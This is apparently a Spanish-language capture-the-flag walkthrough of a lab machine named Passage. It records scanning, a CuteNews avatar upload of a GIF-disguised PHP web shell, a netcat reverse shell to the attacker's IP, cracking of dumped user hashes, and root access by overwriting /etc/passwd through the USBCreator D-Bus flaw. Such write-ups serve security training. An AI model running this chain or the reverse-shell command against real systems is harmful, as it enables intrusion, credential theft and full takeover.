nmap -A -p- -oA output 10.129.150.170 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA passage 10.129.150.170

nmap -sU -O -p- -oA passage-udp 10.129.150.170

nikto -h 10.129.150.170:80

whatweb http://10.129.150.170

nmap --script http-enum -p80 10.129.150.170 -oN webScan -Pn

http://10.129.150.170

Vemos CuteNews

http://10.129.150.170/CuteNews

searchsploit CuteNews 2.1

http://10.129.150.170/CuteNews/?register

searchsploit -m 48800

cat cmd.php

ghex cmd.php

Le agregamos GIF8; al principio del archivo

file cmd.php

http://10.129.150.170/CuteNews/index.php

Editamos nuestro perfil

Le damos click a "Browse" y subimos el archivo cmd.php

![[Pasted image 20220202071103.png]]

echo "10.129.150.170 passage.htb" | sudo tee -a /etc/hosts

http://10.129.150.170/CuteNews/uploads/avatar_cu3rv0x_cmd.php?cmd=nc -e /bin/bash 10.10.14.45 443

nc -lvnp 443

shred -zun 10 -v avatar_cu3rv0x_cmd.php

Despues iniciamos sesion

https://github.com/CuteNews/cutenews-2.0

Vemos como esta estructurado CuteNews

cd /var/www/html/CuteNews/cdata/users

Iniciamos un shell de python

hashlib.md5("cu3rv0x").hexadigest()

Vemos que los primeros dos digitos son 22.

Entonces hacemos un cat a 22.php que seria la informacion para cu3rv0x ya que CuteNews no usa bd.

cat * | grep -v "denied" | base64-d; echo

Creamos un archivo credentials.txt y ponemos las credenciales.

vim credentials.txt

cat credentials.txt | awk '{print $2}' FS=":"

cat credentials.txt | awk '{print $2}' FS=":" |xclip -sel xclip

Vamos a crackstation y introducimos las credenciales

credenciales -> paul:atlanta1

su paul

cd ~/.ssh

cat authorized_keys

grep "sh$" /etc/passwd

lsattr

ssh nadav@localhost

whoami

id

ls -al

cat .viminfo

https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/file.txt /file.txt true

cp /etc/passwd .

openssl passwd

Creamos una contrase~a. Yo use "test"

En passwd cambiamos la x por 9AyQs.WYSYTuE

Y guardamos el archivo

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/passwd /etc/passwd true

su root

Ponemos la contrasena que habiamos creado con el openssl